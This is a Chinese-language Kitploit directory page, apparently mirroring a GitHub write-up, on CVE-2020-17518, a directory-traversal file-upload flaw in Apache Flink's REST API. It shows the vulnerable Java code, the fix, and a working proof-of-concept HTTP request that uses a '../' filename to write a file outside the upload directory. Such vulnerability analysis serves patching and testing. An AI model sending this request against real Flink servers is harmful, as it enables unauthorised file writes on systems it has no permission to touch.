Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2020-17518 — [CVE-2020-17518] Apache Flink RESTful API 通过目录遍历实现任意文件上传 | Kitploit
工具/GitHubGitHub/murataydemir/cve-2020-17518
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试API 安全
GitHubmurataydemir/cve-2020-17518

CVE-2020-17518

[CVE-2020-17518] Apache Flink RESTful API 通过目录遍历实现任意文件上传

查看仓库
33595年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

[CVE-2020-17518] Apache Flink RESTful API 目录遍历导致的任意文件上传漏洞


Apache Flink 是一个框架和分布式处理引擎,用于对无界和有界数据流进行有状态计算,使用 Java 和 Scala 开发。在 Apache Flink 1.5.1 中引入的一个 REST 处理器存在目录遍历漏洞,可导致任意文件上传。攻击者可以通过精心构造的 HTTP 请求将文件上传到本地文件系统的任意目录。

所有早于 1.11.3 的版本均受此漏洞影响,Apache Flink 已在 1.11.3 及更高版本中修复该漏洞。

存在漏洞的代码位于 src/main/java/org/apache/flink/runtime/rest/FileUploadHandler.java 类中。相关代码片段如下所示。

import javax.annotation.Nullable;

import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;

		final DiskFileUpload fileUpload = (DiskFileUpload) data;
		checkState(fileUpload.isCompleted());

		final Path dest = currentUploadDir.resolve(fileUpload.getFilename());

		fileUpload.renameTo(dest.toFile());
		LOG.trace("Upload of file {} complete.", fileUpload.getFilename());
	} else if (data.getHttpDataType() == InterfaceHttpData.HttpDataType.Attribute) {
		final Attribute request = (Attribute) data;

问题在于用户输入的 filename 参数未经过任何清理。通过此提交已修复该漏洞:为了移除所有路径信息,文件名被包裹在另一个文件实例化中。

import javax.annotation.Nullable;

import java.io.File;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;

		final DiskFileUpload fileUpload = (DiskFileUpload) data;
		checkState(fileUpload.isCompleted());

		//final Path dest = currentUploadDir.resolve(fileUpload.getFilename());
		final Path dest = currentUploadDir.resolve(new File(fileUpload.getFilename()).getName());
		
		fileUpload.renameTo(dest.toFile());
		//LOG.trace("Upload of file {} complete.", fileUpload.getFilename());
		LOG.trace("Upload of file {} into destination {} complete.", fileUpload.getFilename(), dest.toString());
	} else if (data.getHttpDataType() == InterfaceHttpData.HttpDataType.Attribute) {
		final Attribute request = (Attribute) data;

概念验证(PoC): 要利用此漏洞,可以使用以下请求

POST /jars/upload HTTP/1.1
Host: vulnerablehost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 217

------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/CVE-2020-17519-PoC.txt"

This is the PoC file
------WebKitFormBoundaryoZ8meKnrrso89R6Y--

即使响应状态码为 400 Bad Request,文件仍会成功上传到服务器。

HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=UTF-8
Access-Control-Allow-Origin: *
content-length: 6017
下载工具